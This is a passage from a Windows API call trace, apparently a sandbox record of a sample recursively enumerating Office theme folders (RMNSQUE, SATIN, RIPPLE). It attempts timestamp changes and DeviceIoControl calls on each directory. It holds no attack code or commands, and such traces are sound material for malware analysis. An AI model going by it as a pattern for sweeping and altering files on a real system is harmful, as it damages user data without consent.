dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0242.653] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0242.653] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.653] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.653] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x212c4b00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x212c4b00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.ELM", cAlternateFileName="")) returned 1 [0242.653] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.INF", cAlternateFileName="")) returned 1 [0242.653] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.653] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.653] GetLastError () returned 0x12 [0242.653] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91b598) returned 1 [0242.654] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0242.654] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91b490) returned 1 [0242.654] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0242.654] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0242.654] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.654] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0242.655] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0242.655] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x91d268 [0242.655] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x91d268, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x91d268, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0242.655] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91d268) returned 1 [0242.655] NtClose (Handle=0x1b0) returned 0x0 [0242.655] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.655] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.655] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.655] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0242.655] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.655] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91b490 [0242.656] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0242.656] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.656] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.656] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.656] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.656] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.656] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.656] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.656] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91b598 [0242.656] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.656] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913d20 [0242.656] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91bee0 [0242.656] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.656] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x225d7800, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x225d7800, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x11e37, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.ELM", cAlternateFileName="")) returned 1 [0242.656] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.656] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.656] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.656] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.656] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.656] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913d40 [0242.656] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91bfe8 [0242.656] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.656] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.INF", cAlternateFileName="")) returned 1 [0242.656] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.656] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.657] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.657] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.657] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.657] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913d60 [0242.657] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91c0f0 [0242.657] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.657] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.657] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.657] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.657] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.657] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.657] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.657] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913d80 [0242.657] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91c1f8 [0242.657] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.657] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.657] GetLastError () returned 0x12 [0242.657] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0242.657] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0242.657] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.657] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.657] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x225d7800, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x225d7800, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x11e37, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.ELM", cAlternateFileName="")) returned 1 [0242.657] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE.INF", cAlternateFileName="")) returned 1 [0242.658] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0242.658] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0242.658] GetLastError () returned 0x12 [0242.658] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91b490) returned 1 [0242.658] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0242.658] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91b598) returned 1 [0242.658] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9100b8) returned 1 [0242.658] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN", cAlternateFileName="")) returned 1 [0242.658] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.658] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.658] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0242.658] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0242.658] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x91d268 [0242.658] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x91d268, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x91d268, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0242.658] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x91d268) returned 1 [0242.658] NtClose (Handle=0x1bc) returned 0x0 [0242.659] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0242.659] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0242.659] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0242.659] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0242.659] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0242.659] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.659] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0242.659] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.659] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.659] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.659] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.659] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.659] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9100b8 [0242.659] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0242.659] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913da0 [0242.659] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91b598 [0242.659] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x840) returned 0x91d268 [0242.659] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x918398) returned 1 [0242.659] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.659] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bfd200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24bfd200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1936f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.ELM", cAlternateFileName="")) returned 1 [0242.659] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.659] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.660] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.660] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.660] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.660] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913dc0 [0242.660] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91b490 [0242.660] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.660] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN.INF", cAlternateFileName="")) returned 1 [0242.660] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.660] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.660] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.660] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.660] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0242.660] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x913de0 [0242.660] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x91c300 [0242.660] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0242.660] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 